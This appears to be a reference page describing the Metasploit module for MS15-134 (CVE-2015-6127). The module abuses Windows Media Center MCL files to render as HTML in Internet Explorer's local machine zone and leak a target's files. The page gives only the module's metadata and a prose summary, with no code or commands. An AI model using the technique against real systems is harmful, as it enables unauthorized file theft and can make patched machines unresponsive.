MS15-134 Microsoft Windows Media Center MCL Information Disclosure - Metasploit


This page contains detailed information about how to use the auxiliary/server/ms15_134_mcl_leak metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: MS15-134 Microsoft Windows Media Center MCL Information Disclosure
Module: auxiliary/server/ms15_134_mcl_leak
Source code: modules/auxiliary/server/ms15_134_mcl_leak.rb
Disclosure date: 2015-12-08
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2015-6127

This module exploits a vulnerability found in Windows Media Center. It allows an MCL file to render itself as an HTML document in the local machine zone by Internet Explorer, which can be used to leak files on the target machine. Please be aware that if this exploit is used against a patched Windows, it can cause the computer to be very slow or unresponsive (100% CPU). It seems to be related to how the exploit uses the URL attribute in order to render itself as an HTML file.

Module Ranking and Traits
